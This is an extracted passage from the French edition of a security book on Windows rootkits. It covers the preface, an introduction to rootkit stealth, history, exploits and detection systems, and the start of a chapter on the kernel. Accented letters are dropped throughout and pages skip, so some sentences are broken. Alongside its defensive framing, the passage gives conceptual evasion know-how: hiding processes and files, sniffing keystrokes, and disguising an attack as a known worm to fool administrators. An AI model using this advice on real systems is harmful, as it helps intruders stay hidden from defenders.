Professional Documents
Culture Documents
CAMPUSPRESS
CampusPress a apport le plus grand soin la ralisation de ce livre afin de vous fournir une
information complte et fiable. Cependant, CampusPress nassume de responsabilits, ni pour son
utilisation, ni pour les contrefaons de brevets ou atteintes aux droits de tierces personnes qui
pourraient rsulter de cette utilisation.
Les exemples ou les programmes prsents dans cet ouvrage sont fournis pour illustrer les
descriptions thoriques. Ils ne sont en aucun cas destins une utilisation commerciale ou
professionnelle.
CampusPress ne pourra en aucun cas tre tenu pour responsable des prjudices ou dommages de
quelque nature que ce soit pouvant rsulter de lutilisation de ces exemples ou programmes.
Tous les noms de produits ou marques cits dans ce livre sont des marques dposes par leurs
propritaires respectifs.
Aucune reprsentation ou reproduction, mme partielle, autre que celles prvues l'article L. 122-5 2 et 3 a) du code de la
proprit intellectuelle ne peut tre faite sans lautorisation expresse de Pearson Education France ou, le cas chant, sans le
respect des modalits prvues larticle L. 122-10 dudit code.
IV
24
33
63
64
66
67
68
70
71
73
27
28
28
29
31
36
39
40
42
43
44
46
50
51
52
53
54
59
60
76
78
83
84
84
86
VI
229
231
232
233
234
235
236
236
298
298
298
301
301
305
327
A propos de Rootkits
Rootkits
ouvrent les yeux sur certaines des menaces les plus furtives et
proccupantes auxquelles les systmes Windows sont exposs. Ce n est
qu en comprenant ces techniques offensives que vous pourrez
correctement dfendre les rseaux et les systmes dont vous avez la
charge. "
- Jennifer Kolde, consultante en scurit, auteur et formatrice
"Quy a-t-il de pire que dtre aux mains dautrui ? Ne pas le savoir.
Dcouvrez ce que signifie tre possd par un inconnu en lisant
louvrage de Hoglund et Butler sur les rootkits, le premier du genre. Au
top de la liste doutils du hacker laquelle inclut entre autres des
dcompilateurs, des dsassembleurs, des moteurs dinjection derreurs,
des debuggers de noyau, des ensembles de codes malveillants, des outils
de test de code et des outils danalyse de flux se trouve le rootkit. En
reprenant l o Exploiting Software stait arrt, le prsent livre
montre comment des attaquants peuvent se dissimuler sous vos yeux.
Les rootkits reprsentent une nouvelle vague de techniques dattaque
extrmement puissantes. A linstar dautres codes malveillants, ils se
caractrisent par leur furtivit. Ils restent indcelables pour /
observateur moyen et recourent des mthodes diverses, telles que des
hooks, des trampolines ou des patchs pour mener bien leur mission.
Les rootkits sophistiqus sexcutent de telle manire quils peuvent
chapper la dtection des programmes de surveillance du systme. Un
rootkit offre un accs privilgi uniquement aux personnes qui savent qu
il est prsent sur le systme et est prt recevoir des commandes. Les
rootkits de niveau noyau peuvent dissimuler des fichiers et excuter des
processus pour installer une porte drobe sur la machine cible.
Pour ceux dentre nous qui tentons de protger des systmes
informatiques, il est dcisif de comprendre loutil suprme des
attaquants. Hoglund et Butler sont les mieux placs pour nous amener
une comprhension pratique des rootkits et de leurs mcanismes
fondamentaux. "
- Gary MacGraw, Ph.D., directeur technique, Cigital,
coauteur de Exploiting Software (2004) et de Building
Secure Software (2002), Addison-Wesley
A propos de Rootkits XI
Ce livre est ddi toutes les personnes qui ont apport leur
contribution rootkit.com ainsi qu celles qui nhsitent pas partager
leurs connaissances.
-Greg
Prface
Un rootkit est un ensemble de programmes et de code permettant
dtablir une prsence permanente et indtectable sur un ordinateur.
Historique
Greg Hoglund et moi-mme, James Butler, en sommes venus nous intresser aux
rootkits dans le cadre de notre activit professionnelle, qui a trait la scurit
informatique. Mais lapprofondissement du sujet sest vite transform en une mission
personnelle pour tous les deux (signifiant des veilles tardives et des week-ends
studieux). Cela a conduit Hoglund fonder rootkit.com, un forum consacr la rtroingnierie et au dveloppement de rootkits. Nous sommes tous les deux grandement
impliqus dans ce forum. Cest moi qui ai contact en premier Hoglund via ce site car
javais besoin de tester un nouveau rootkit puissant de ma cration, FU 1. Je lui ai donc
envoy une partie du code source et un fichier binaire prcompil. Involontairement,
cependant, javais omis de lui transmettre le code source du driver. Hoglund a
simplement charg le rootkit prcompil sur sa station de travail sans me poser de
question puis ma signal ma grande surprise que FU semblait fonctionner
parfaitement. Notre confiance mutuelle na cess de grandir depuis1 2.
Nous sommes tous les deux depuis longtemps motivs par un besoin presque
obsessionnel de dissquer le noyau Windows par rtro-ingnierie. Cest un peu comme
lorsque quelquun affirme quune certaine chose est impossible faire et que vous
vous efforcez dy parvenir. Il est trs satisfaisant dapprendre le fonctionnement des
prtendus produits de scurit pour trouver des moyens de les contourner, ce qui mne
invitablement au dveloppement de meilleurs mcanismes de protection.
1. Je ne mintressais pas aux rootkits des fins malveillantes et tais plutt fascin par la puissance des
modifications de niveau noyau, ce qui ma amen dvelopper le premier programme de dtection de
rootkits, VICE.
2. Hoglund se demande dailleurs encore de temps autre si la version originale de FU s'excute toujours sur sa
machine.
Rootkits
Le fait quun produit dclare assurer un certain niveau de scurit ne signifie pas
ncessairement que ce soit le cas. En jouant le rle de lattaquant, nous avons un
avantage considrable. Il nous suffit de penser une seule chose que le dfenseur
aurait pu oublier de considrer. Le dfenseur doit, lui, penser toutes les choses quun
attaquant pourrait faire.
Il y a quelques annes de cela, nous avons dcid de faire quipe pour proposer des
cours de formation sur les aspects offensifs de la technologie des rootkits. Au dpart,
le contenu dont nous disposions nous permettait dassurer une formation dune seule
journe. Mais, avec le temps, nous avons compil des centaines de pages de notes et
dexemples de code qui constituent les fondements de ce livre. Nous dispensons
prsent cette formation plusieurs fois par an loccasion de la confrence de scurit
Black Hat et aussi de manire prive.
Par la suite, nous avons galement entrepris de collaborer au sein de la socit
HBGary, Inc, o nous sommes confronts quotidiennement des problmes de rootkit
trs complexes. Dans ce livre, nous nous fondons sur notre exprience pour couvrir les
menaces auxquelles sont exposs les utilisateurs de Windows aujourdhui et qui ne
feront probablement quaugmenter dans le futur.
Lectorat du livre
Ce livre se destine ceux qui sintressent la scurit informatique et qui souhaitent
obtenir une perspective plus relle des menaces qui existent. De nombreux ouvrages et
autres documents expliquent comment les intrus sy prennent pour pntrer dans des
systmes informatiques, mais peu a t dit sur ce quils peuvent y faire ensuite. Le
prsent livre aborde notamment les mthodes par lesquelles un intrus parvient
dissimuler son activit sur une machine compromise.
Nous pensons que la plupart des diteurs de logiciels, y compris Microsoft, ne
prennent pas les rootkits au srieux, cest pourquoi nous publions ce livre. Son contenu
na rien de rvolutionnaire pour ceux qui travaillent dj avec des rootkits ou des
systmes dexploitation depuis de nombreuses annes. Mais il prouvera tous les
autres que les rootkits reprsentent un risque rel pour la scurit et quun scanner de
virus ou un pare-feu dhte ne suffit pas pour sen protger. Il dmontre quun rootkit
peut sinfiltrer dans un ordinateur et y demeurer des annes sans que personne ne
remarque rien.
Prface
Prrequis
Tout le code contenu dans ce livre a t crit en C. Vous serez donc plus mme de
saisir et dexploiter les exemples proposs si vous comprenez au moins les principes
de base de ce langage, celui de pointeur tant le plus important. Si vous ne disposez
daucune connaissance en programmation, vous devriez quand mme pouvoir suivre la
logique des exemples et comprendre les menaces voques mme si les dtails prcis
de leur implmentation vous chappent. Certaines sections font appel des concepts
propres larchitecture des drivers pour Windows, mais aucune exprience en matire
de dveloppement de drivers nest requise. Nous vous guiderons dans llaboration
dun driver pour Windows et poursuivrons partir de l avec la technologie des
rootkits.
Porte du livre
Ce livre couvre les rootkits pour Windows, bien que la plupart des concepts exposs
sappliquent galement dautres systmes dexploitation tels que Linux. Nous nous
concentrons sur les rootkits de niveau noyau car ce sont les plus difficiles dtecter.
Nombre de rootkits publics pour Windows oprent dans le mode utilisateur 1 car ce
genre de rootkit est plus facile implmenter puisquil ne demande pas de matriser le
fonctionnement du noyau non document.
Nous avons choisi dignorer les spcificits de rootkits particuliers pour nous attarder
sur les approches gnrales mises en uvre par tous les rootkits. Dans chaque chapitre,
nous introduisons une technique de base, expliquons son utilit et montrons comment
limplmenter laide dexemples de code. Fort de ces informations, vous devriez
pouvoir tendre ces exemples de mille faons diffrentes
1. Cest--dire quils nimpliquent pas de modifications du noyau et sappuient la place sur la modification de
programmes utilisateur.
Rootkits
pour accomplir toutes sortes de tches. Lorsque vous travaillez au niveau du noyau,
vous ntes limit que par votre imagination.
La majorit du code fourni dans ce livre est tlchargeable sur www.rootkit.com. Pour
chaque exemple, lURL prcise est indique. Dautres auteurs de rootkits publient
galement les rsultats de leurs recherches sur ce site, et vous trouverez certainement
utile de les consulter pour vous tenir au courant des dernires dcouvertes.
Remerciements
Nous naurions pas pu crire ce livre sans laide des nombreuses personnes qui nous
ont aid parfaire notre comprhension de la scurit informatique au fil des annes.
Nous tenons remercier en premier lieu nos collgues et la communaut dutilisateurs
de rootkit.com. Un grand merci galement tous les tudiants qui ont suivi notre
formation sur les aspects offensifs de la technologie des rootkits. A chaque fois que
nous enseignons, nous apprenons quelque chose de nouveau.
Les personnes suivantes nous ont fait partager leurs commentaires clairs lors des
premires preuves du livre : Tony Bautts, Richard Bejtlich, Harlan Carvey, Graham
Clark, Greg Cummings, Jeremy Epstein, Jennifer Kolde, Marcus Leech, Gary
McGraw et Sherri Sparks. Nous sommes aussi trs reconnaissants Audrey Doyle, qui
a grandement contribu llaboration du livre dans des conditions de planification
trs serres.
Enfin, nous exprimons notre gratitude envers notre diteur, Karen Gettman, et son
assistante, Ebony Haight, chez Addison-Wesley, pour stre si bien adaptes nos
agendas surchargs ainsi quaux grandes distances qui nous sparent et pour avoir su
maintenir notre attention sur louvrage. Elles nous ont apport tout ce dont nous avions
besoin pour russir lcrire.
- Greg et Jamie.
A propos de lillustration
en couverture
Lillustration en couverture du livre possde une signification importante pour Jamie et
moi. Nous lavons conue nous-mmes avec laide dun artiste brsilien trs talentueux
qui se nomme Paulo. Le personnage illustr est un samoura, une figure japonaise
historique (notre approche crative ne doit en aucun cas tre considre comme une
marque dirrespect). Nous avons choisi ce guerrier car il incarne la magnificence de
son art et sa matrise, la force de caractre et le fait que cet art tait essentiel pour sa
culture et ses matres. Ce motif souligne aussi limportance de reconnatre
linterconnectivit du monde dans lequel nous vivons.
Le sabre est loutil du samoura, le moyen dexpression de son talent. Vous
remarquerez quil apparat au centre de limage et est enfonc dans le sol. De lui
partent des racines qui symbolisent la dynamique de lacquisition de la connaissance.
Ces racines deviennent des circuits pour reprsenter la connaissance des technologies
informatiques et les outils du dveloppeur de rootkits. Les idogrammes, ou kanji, qui
figurent derrire lui signifient "acqurir le savoir".
Nous pensons quil sagit dune description juste de notre travail. Jamie et moi
apprenons continuellement et actualisons nos comptences. Nous sommes heureux de
pouvoir communiquer dautres ce que nous avons appris. Nous voulons vous
sensibiliser lincroyable pouvoir qui rside dans le dveloppement de racines.
Greg Hoglund
1
Ne laisser aucune trace
Subtil et immatriel, lexpert ne laisse pas de trace ; mystrieux comme
une divinit, il est inaudible. Cest ainsi quil met lennemi sa merci.
- Sun Tzu
1. G. Hoglund et G. McGraw, Exploiting Software: How to Break Code (Boston : Addison-Wesley, 2004). Voir
aussi www.exploitingsoftware.com.
2. J. Koziol, D. Litchfield, D. Aitel, C. Anley, S. Eren, N. Mehta et R. Hassell, The Shellcoders Handbook
(New York : John Wiley & Sons, 2004).
3. S. McClure, J. Scambray et G. Kurtz, Hacking Exposed (New York : McGraw-Hill, 2003).
12 Rootkits
systme sans tre dtect, ce dernier point tant essentiel pour le succs de son
opration sur le long terme.
Ce chapitre prsente la technologie et les principes gnraux de fonctionnement dun
rootkit. Cest un lment parmi les nombreux outils de la panoplie dun attaquant, mais
il est dcisif pour la russite de nombreux types dattaques.
Le code dun rootkit nest pas intrinsquement malveillant, mais il peut tre employ
par des programmes qui le sont. Il est important de comprendre cette technologie pour
tre en mesure de se dfendre contre les attaques modernes et avances.
Chapitre 1
Un programme furtif
Pour passer inaperu, un programme backdoor doit avoir pour caractristique dtre
furtif (stealth), cest--dire ne pas tre dtectable. Sur ce point, la plupart des
programmes disponibles ne brillent pas et sont sources dalas. La raison principale
cela est que les dveloppeurs cherchent intgrer toutes sortes de fonctionnalits dans
un programme backdoor fourre-tout. Par exemple, prenez les programmes Back
Orifice ou NetBus. Ils arborent tous deux une liste impressionnante de fonctionnalits,
certaines aussi ridicules que ljection du plateau du lecteur de CD- ROM. Cela peut
tre drle comme blague de bureau, mais cest totalement inadquat dans le cadre
dune opration professionnelle1. Si lattaquant nest pas prudent, il rvlera sa
prsence sur le rseau et toute lopration chouera. Pour cette raison, une telle action
ncessite lemploi de programmes de backdoor automatiss qui ne servent qu une
chose et rien dautre, garantissant des rsultats cohrents.
Si les oprateurs dun systme ou dun rseau souponnent une intrusion, ils peuvent
recourir une investigation forensique pour rechercher un programme backdoor ou
ayant une activit inhabituelle 1 2. La meilleure protection contre ce genre dinspection
est la furtivit : passer inaperu pour ne pas dclencher de recherches. Il existe cette
fin diverses faons de procder. Un attaquant peut essayer dtre discret en maintenant
le trafic rseau quil engendre un niveau minimal et en ne sauvegardant pas ses
fichiers sur le disque dur. Certains attaquants stockent leurs fichiers sur le disque mais
utilisent des techniques de dissimulation. Si la furtivit dune attaque est bien gre, il
ny aura pas dinvestigation car lintrusion ne sera pas dtecte. Et, mme en cas de
suspicion dune attaque, une furtivit bien prserve permettra aux fichiers dissimuls
dchapper la dtection.
1. "Professionnelle" signifie ici une opration autorise, par exemple dans le cadre de lexercice de la loi ou de
lexcution de tests de pntration.
2. Pour un document intressant sur lanalyse forensique, consultez D. Farmer et W. Venema, Forensic
Discovery (Boston : Addision-Wesley, 2004).
14 Rootkits
Chapitre 1
sont mme furtifs. A bien des gards, ils pourraient galement tre considrs comme
tant des rootkits. Dans le cadre dune opration lgale, le terme "rootkit" pourrait
aussi tre utilis pour dsigner le programme backdoor autoris alors install sur
une cible dans le cadre de lexercice de la loi. Nous aborderons ce sujet plus loin dans
ce chapitre. De grandes entreprises emploient galement cette technologie pour
surveiller et faire respecter les rglementations rgissant lusage des ordinateurs.
Grce une dmarche offensive, nous vous ferons dcouvrir les comptences et
techniques mises en uvre par votre ennemi. Vous tendrez en mme temps vos
propres connaissances en cherchant vous protger contre la menace du rootkit. Si
vous tes un dveloppeur lgitime utilisant cette technologie, ce livre vous aidera
acqurir une base de connaissances et de comptences que vous pourrez ensuite
dvelopper.
Contrle distance
Le contrle distance comprend diverses actions, telles que contrler des fichiers,
provoquer le redmarrage du systme ou son plantage avec apparition de lcran bleu
(Blue Screen ofDeath), accder linterprteur de commandes (par exemple
16 Rootkits
description
ps
help
buffertest
hidedir
debug output
hide prefixed file or directory
hideproc
debugint
sniffkeys
cho <string>
Interception logicielle
Lcoute, ou interception, logicielle fait partie de lactivit de surveillance des
utilisateurs. Elle peut comprendre la capture de paquets du rseau, lenregistrement de
la frappe au clavier et la lecture des e-mails. Un attaquant peut utiliser ces techniques
pour subtiliser des mots de passe ou mme des cls de chiffrement.
Guerre lectronique
Les rootkits trouvent leur emploi dans la guerre lectronique, mais ils n'en sont pas la
premire incarnation.
Des guerres sont engages sur de nombreux fronts, et celle de l'intelligence conomique n'est
pas des moindres. Depuis la fin de la Deuxime Guerre mondiale jusqu' la fin de la guerre
froide, l'Union sovitique avait organis une opration de collecte de renseignements
grande chelle pour s'emparer de technologies1.
1. G. Weiss, "The Farewell Dossier" (Washington : CIA, Centre dtude des informations, 1996), disponible sur
www.cia.gov/csi/studies/96unclass/farewell.htm.
Chapitre 1
Aprs avoir t renseign par la France et avoir identifi certaines des activits clandestines
sur leur sol, les Etats-Unis ont introduit des plans, des logiciels et des renseignements
fallacieux dans le canal d'acheminement. Un incident rapport indique que des modifications
logicielles (les "ingrdients supplmentaires" prvus par la CIA) auraient t l'origine de
l'explosion d'un pipeline de gaz en Sibrie 1. L'incident alors photographi par des satellites
avait t dcrit comme tant "l'explosion non nuclaire et l'incendie les plus gigantesques
jamais enregistrs depuis l'espace"* 2.
18 Rootkits
Un bref historique
Les rootkits ne sont pas un concept rcent. En fait, nombre des techniques quils
utilisent sapparentent celles qui taient implmentes dans les virus vers la fin des
annes 1980, par exemple modifier les tables systme, les donnes en mmoire ou le
flux dexcution ; le but tait alors dviter la dtection par les scanners de virus (
cette poque, linfection se faisait principalement par lintermdiaire de disquettes et
des serveurs BBS).
Lors de lintroduction de Windows NT, le modle de mmoire a chang pour que les
programmes utilisateur ne puissent plus modifier les tables systme. Il sensuivit alors
une priode daccalmie en matire de technologie de virus car aucun auteur nutilisait
le nouveau noyau Windows.
Lorsquil a commenc prendre de lampleur, le rseau Internet tait domin par les
systmes dexploitation Unix et les virus ntaient pas aussi rpandus. Cest toutefois
cette poque que sont apparus les premiers vers de rseau. Aprs lincident du ver
Morris, la communaut informatique prit conscience de lexistence des exploitations
de failles logicielles1, appeles "exploits" Ndt : le terme "exploit", tel quil est
utilis dans ce contexte, se rapporte aussi bien une vulnrabilit quau code
permettant de lexploiter. Au dbut des annes 1990, beaucoup de hackers ont compris
comment tirer parti des dbordements de tampon, la "bombe nuclaire" de tous les
exploits. En revanche, les auteurs de virus ont continu rester calmes pendant prs
dune dcennie.
A cette poque, un hacker pntrait un systme, installait son camp puis sen servait
pour initier dautres attaques. Aprs lintrusion, il devait conserver un accs au
systme. Cest ainsi que naquirent les premiers rootkits. Il sagissait alors de simples
programmes backdoor qui nutilisaient que peu dingrdients pour la furtivit. Ils
opraient parfois en remplaant les fichiers systme cls par des versions altres qui
permettaient le masquage de fichiers et de processus. Par exemple, considrez le
programme ls qui liste les fichiers et les rpertoires. Un rootkit de premire gnration
laurait remplac par une version troyenne qui aurait permis de dissimuler un fichier
cr avec un certain nom, comme hack_x. Ensuite, lattaquant aurait stock ses
donnes suspectes dans ce fichier et le programme ls modifi aurait vit quil
apparaisse lors dun listage.
1. Robert Morris a t lauteur du premier ver Internet recens. Pour un compte rendu de lvnement, consultez
K. Hafner et J. Markoff, Cyberpunk: Outlaws and Hackers on the Computer Frontier (New York : Simon a
Schuster, 1991).
Chapitre 1
Le patching
Le code excutable, appel aussi un (fichier) binaire, se compose dune srie
dinstructions codes sous forme doctets de donnes. Ces octets se suivent selon un
ordre spcifique, et ils ont une signification pour lordinateur. La logique dun
programme peut tre modifie si lon change certains des octets qui le composent.
Cette technique est parfois appele le patching. Un programme nest pas intelligent, il
fait exactement ce quon lui dit de faire et rien dautre. Cest la raison pour laquelle la
modification est un procd qui fonctionne bien. En fait, cela nest pas vraiment
difficile. Le patch doctets est lune des principales techniques utilises par les crackers
pour contourner les protections des logiciels ou pour tricher avec des jeux vido et
soctroyer des avantages illimits.
20 Rootkits
inoffensives, connues sous le nom dufs de Pques, par lesquelles lauteur (ou
lquipement de dveloppement) du programme laisse quelque chose en guise de
signature. Les premires versions de Microsoft Excel, par exemple, contenaient un uf
de Pques qui permettait lutilisateur qui le dcouvrait de jouer un jeu de tir en 3D,
semblable Doom1, partir dune feuille de calcul.
1. Voir www.eggheaven2000.com. une base de donnes des curiosits logicielles et des ufs de Pques.
2. De nombreux navigateurs sont la proie de spyware, et, bien sr, Microsoft Internet Explorer est lune des
cibles les plus vises.
Chapitre 1
Vous pourriez lgitimement penser que vous pouvez faire confiance toutes ces
personnes qui dveloppent le logiciel que vous utilisez. Aprs tout, leurs comptences
sont, quelques degrs prs, proches de celles de Linus Torvalds1, en qui vous avez
entire confiance. Cest lgitime. Mais faites-vous aussi confiance aux administrateurs
systme qui grent les serveurs de contrle et de distribution du code source ? Il existe
des cas dattaques o les intrus ont pu accder au code. Un cas important de
compromission sest produit lorsque les serveurs FTP racines du projet GNU (gnu.org)
code source du systme dexploitation GNU bas sur Linux ont t compromis en
20031 2. Les altrations dun code source peuvent chouer dans des centaines de
distributions de logiciels et sont extrmement difficiles identifier. Mme le code
source doutils de professionnels en scurit informatique a t dtourn de cette
faon3.
22 Rootkits
Chapitre 1
Mme si un rootkit nest pas un virus, les techniques quil emploie peuvent tre
utilises par ces derniers. Un rootkit combin un code de virus produit une
technologie trs dangereuse.
Le monde a dj vu ce que les virus peuvent faire. Certains virus ont infect des
millions dordinateurs en quelques heures.
Lun des systmes dexploitation les plus connus, Microsoft Windows, est connu pour
comporter dinnombrables bugs qui permettent aux virus de contaminer les ordinateurs
travers Internet. La plupart des hackers malveillants ne rvleront pas
1. Un exploit zero-day est une faille qui vient dtre dcouverte et pour laquelle il nexiste pas encore de
correctif.
24 Rootkits
1. N. Weaver, "Wharhol Worms: The Potential for Very Fast Internet Plagues", disponible sur
www.cs.berkeley.edu/~nweaver/warhoI.html.
2. G. Hoglund et G. McGraw, Exploiting Software.
3. Nous ne pouvons prouver cette estimation mais cest une supposition raisonnable drive de notre
connaissance du problme.
4. La plupart des diteurs de logiciels emploient des mthodes similaires pour rechercher et corriger les bugs
dans leurs produits.
5. "Une faille "silencieusement patche" est un bug corrig par lintermdiaire dune mise jour logicielle,
mais le fabricant ninforme jamais le public ou les clients de son existence. Il est pour ainsi dire trait
comme un secret et personne nen parle. Cest en fait une pratique courante de la part de nombreux grands
fabricants.
Chapitre 1
EEYEB-20040802-C
Vendor: Microsoft
Severity: High (Remcte Code Execution) Date Reported: August 02, 2004 Days
Since Initial Report:
Day 30 60 120
60
Days Overdue
26 Rootkits
1. Les bugs de dbordement de tampon ne sont pas un dfaut exclusif du C et du C++, mais ces deux langages
ne facilitent pas certaines pratiques de codage sres. Ils noffrent pas un typage sr (un sujet trait plus loin
dans ce chapitre), ils emploient des fonctions intgres qui peuvent faire dborder les tampons, et ils sont
aussi difficiles dbugger.
2. Par exemple, PREfix et PREfast ont t dvelopps et dploys par Jon Pincus, Microsoft Research (voir
http://research.microsoft.com/users/jpincus/).
3. Un "tat" est comme une configuration interne dans un logiciel. A chaque fois quil ralise une action, son
tat change. La plupart des logiciels ont ainsi un nombre considrable dtats potentiels.
4. Pour comprendre cela, considrez les limites thoriques du nombre de permutations possibles dune chane
de bits. Par exemple, imaginez une application de 160 Mo employant 16 Mo (10 % de sa taille totale) de
mmoire pour stocker ses tats. Ce programme pourrait, thoriquement, avoir un potentiel de 2A16 277 216
tats diffrents qui, en fait, excde de loin le nombre de particules dans lunivers (estim diversement
environ 10A80). Merci Aaaron Bornstein pour cet exemple explicatif.
Chapitre 1
Ladoption de langages typage sr, ou fort, tels que Java et C# peut contribuer
amliorer la situation. Ces langages ne garantissent pas une scurit toute preuve,
mais ils rduisent de faon significative les risques de dbordements de tampons, de
bugs de conversion de signe et de dbordement dentiers (voir lencadr "Langages
typage sr"). Malheureusement, ces langages nquivalent pas en performances du C
ou du C++, et la plupart des systmes Windows, mme la dernire version la plus
performante, excutent du vieux code C et C++. Les dveloppeurs de systmes
embarqus ont chang de cap en adoptant des langages typage sr, mais le dcollage
est lent, et les millions de systmes anciens en usage ne seront pas remplacs de sitt.
Ceci signifie que les exploits logiciels continueront encore de svir pendant longtemps.
Langages typage sr
Les langages de programmation typage sr, ou fort, sont plus scuriss en ce qui concerne
certains exploits, tels que le dbordement de tampon.
Sans typage fort, les donnes composant un programme ne seraient qu'un vaste ocan de
bits. Le programme pourrait alors prendre n'importe quel groupe de bits et l'interprter de
multiples faons. Ainsi, si la chane "GARY" tait place en mmoire, elle pourrait ensuite tre
utilise non pas en tant que chane de caractres mais comme un entier de 32 bits, par
exemple 0x47415259 (en hexadcimal) ou 1 195 463 257 (en dcimal), un nombre
relativement grand en fait. Lorsque des donnes fournies par un utilisateur tiers peuvent tre
mal interprtes, un exploit peut tre utilis.
En revanche, des programmes crits dans un langage typage fort, comme Java ou C# 1, ne
convertiraient jamais "GARY" en nombre ; la chane serait toujours traite en tant que texte et
rien d'autre.
28 Rootkits
Pour simplifier, nous utiliserons ce sigle de faon gnrique pour nous rfrer ces
solutions dhte.
Systmes d'hte
La technologie HIPS peut tre conue en interne ou acquise. Voici quelques exemples
de logiciels HIPS :
H Blink (eEye Digital Security, www.eEye.com) ;
Systmes de rseau
Les NIDS offrent galement une bonne rsistance aux rootkits, mais un rootkit bien
conu peut leur chapper. Bien quen thorie une analyse statistique puisse dtecter les
canaux de communication masqus, cest rarement fait dans la pratique. Les
connexions rseau vers un rootkit emploient vraisemblablement un canal de
communication dissimul dans des paquets lapparence anodine. Tout transfert de
donnes important est chiffr. La plupart des dploiements de NIDS traitent de
Chapitre 1
grands flux de donnes, jusqu 300 Mo/s, et le petit filet de donnes en direction dun
rootkit passe inaperu. En revanche, un rootkit utilis conjointement un exploit
connu du public aura plus de chances dtre dtect par un NIDS *.
1. Lors de lemploi dun exploit rpertori, un attaquant peut crer le code de lexploit de manire imiter le
comportement dun ver dj connu, par exemple celui du ver Blaster. Lattaque sera alors interprte par la
plupart des administrateurs de scurit comme tant de simples actions du ver connu, et ils manqueront de
reprer lattaque particulire.
30 Rootkits
Chapitre 1
Conclusion
Les rootkits de premire gnration ntaient que des programmes ordinaires.
Aujourdhui, ils se prsentent sous forme de drivers de priphriques. Au cours des
prochaines annes, des rootkits avancs pourront modifier ou sinstaller dans le
microcode dun processeur ou rsider principalement dans les puces dun ordinateur.
Par exemple, il nest pas inconcevable que le bitmap dun circuit FPGA (Field
Programmable Gte Array) soit modifi pour inclure un programme backdoor1. Bien
sr, ce type de rootkit devra tre cr pour une cible spcifique. Les rootkits qui
emploient des services de systme dexploitation gnriques seront certainement les
plus nombreux.
Le type de technologie de rootkit permettant une dissimulation dans un FPGA, donc
pour des attaques matrielles, ne convient pas pour les vers de rseau. La technique
employe pour ces derniers est facilite par lhomognit de linformatique grande
chelle. En dautres termes, les vers de rseau fonctionnent le mieux lorsque les
systmes ou logiciels cibls sont les mmes. Dans le domaine des rootkits spcifiques
au matriel, il y a de nombreuses petites diffrences qui rendent difficiles les attaques
multicibles. Ces attaques seront plus probablement utilises lorsque la cible peut tre
analyse par lattaquant pour crer un rootkit spcifique.
Tant que les logiciels comprendront des vulnrabilits exploitables, les rootkits en
tireront parti. Le rootkit et lexploit logiciel forment un couple naturel. Toutefois,
mme si de tels exploits ntaient pas possibles, les rootkits existeraient quand mme.
1. Ceci suppose un espace suffisant (en matire de portes) pour ajouter des fonctionnalits au FPGA. Les
fabricants dquipement tentent de baisser leur cot pour le moindre composant. Aussi, il est probable quun
FPGA soit aussi petit que possible pour lapplication recherche et ne laisse pas de place pour lajout
dautres fonctions. Pour insrer un rootkit dans un tel emplacement rduit, dautres fonctionnalits doivent
alors tre supprimes.
32 Rootkits
2
Infiltration du noyau
Sur son visage, je ne lus rien de l horreur qui me secouait : j y
dcouvris plutt lexpression calme et intresse du chimiste qui voit,
dune solution sature lexcs, les cristaux tomber en place.
- La Valle de la peur, sir Arthur Conan Doyle
Indpendamment de leur forme et de leur taille, les ordinateurs comprennent tous des
logiciels et possdent pour la plupart un systme dexploitation. Le systme
dexploitation est lensemble fondamental de programmes qui fournit des services
dautres programmes sur une machine. Nombre de systmes dexploitation sont
multitches, permettant plusieurs programmes de sexcuter simultanment.
A diffrents types dquipements informatiques peuvent correspondre diffrents
systmes dexploitation. Par exemple, le systme dexploitation le plus largement
rpandu sur les PC est Microsoft Windows. Un grand nombre de serveurs sur Internet
emploient Linux ou Sun Solaris, tandis que dautres utilisent Windows. Les systmes
embarqus excutent VXWorks et beaucoup de tlphones cellulaires emploient
Symbian.
Quels que soient les quipements sur lesquels ils sont installs, tous les systmes
dexploitation ont un objectif commun : offrir aux applications une interface unique et
cohrente pour accder lquipement. Ces services centraux contrlent laccs au
systme de fichiers, la carte rseau, au clavier, la souris et lcran.
34 Rootkits
Chapitre 2
Infiltration du noyau 35
Scurit
Le noyau est lultime responsable charg dimposer des restrictions
entre les processus. Certains systmes simples nappliquent aucune
scurit. Par exemple, nombre de systmes embarqus autorisent
n'importe quel processus accder la totalit de lespace mmoire.
Sur les systmes Unix et Windows, le noyau applique des permissions
et isole les plages mmoire des diffrents processus. En apportant
seulement quelques changements au code dans cette partie du noyau,
un attaquant peut liminer tous les mcanismes de scurit.
Gestion de la mmoire
Certaines plates-formes matrielles, comme celles de la famille Intel
Pentium, utilisent des modles de gestion de la mmoire complexes.
Une mme adresse mmoire peut tre mise en correspondance avec
plusieurs emplacements physiques. Par exemple, deux processus
peuvent tous deux effectuer une lecture en mmoire en utilisant
ladresse 0x00401111 et rcuprer pourtant des valeurs diffrentes.
Ladresse utilise par chaque processus est appele une adresse
virtuelle et pointe vers un emplacement compltement diffrent de la
mmoire physique, contenant des donnes distinctes. Vous en
apprendrez davantage sur le mapping mmoire virtuelle/mmoire
physique au Chapitre 3. Ceci est possible car le mapping de lespace
mmoire priv de chaque processus est diffrent. Exploiter cet aspect
dans le noyau peut tre trs commode pour viter que des donnes ne
soient dtectes par des debuggeurs ou des logiciels danalyse
forensique actifs.
Maintenant que vous avez une ide des principales fonctions accomplies par le noyau,
nous allons voir comment un rootkit doit tre conu pour pouvoir le modifier.
36 Rootkits
Un rootkit, un systme
Un rootkit devrait tre suffisant pour n'importe quel systme. Un rootkit est intrusif et
modifie les donnes du systme cible. Les attaquants font gnralement en sorte que ces
modifications soient minimales, mais l'installation de plusieurs rootkits pourrait conduire
des modifications de modifications et ventuellement une corruption du systme. Dans la
plupart des cas, les rootkits partent du principe que le systme cible est intact. Un rootkit
peut vrifier la prsence de logiciels de dtection ou de protection contre les hackers (tels
que des systmes pare-feu d'hte) mais ne vrifie habituellement pas la prsence d'autres
rootkits. Si un autre rootkit a dj t install sur le systme, la meilleure option pour
l'attaquant serait d'abandonner, c'est--dire de stopper, l'excution de son rootkit en raison
d'une erreur.
Un projet de rootkit complexe peut inclure de nombreux composants et sera plus facile
grer sil est bien organis. Nous ne prsentons aucun exemple trs complexe dans
ce livre, mais la structure de rpertoires prsente ci-aprs pourrait tre employe dans
le cadre dun tel projet. Elle dbuterait comme suit :
/My Rootkit
Chapitre 2
Infiltration du noyau 37
Les oprations de dissimulation de cls de registre peuvent impliquer des approches qui
diffrent de celles de masquage de fichiers. Elles peuvent ncessiter de nombreux
hooks et parfois aussi des tableaux ou listes de handles requrant un suivi. Elles sont
typiquement difficiles implmenter en raison de linterrelation qui existe entre les
cls et les valeurs, ce qui a conduit certains dveloppeurs laborer des solutions assez
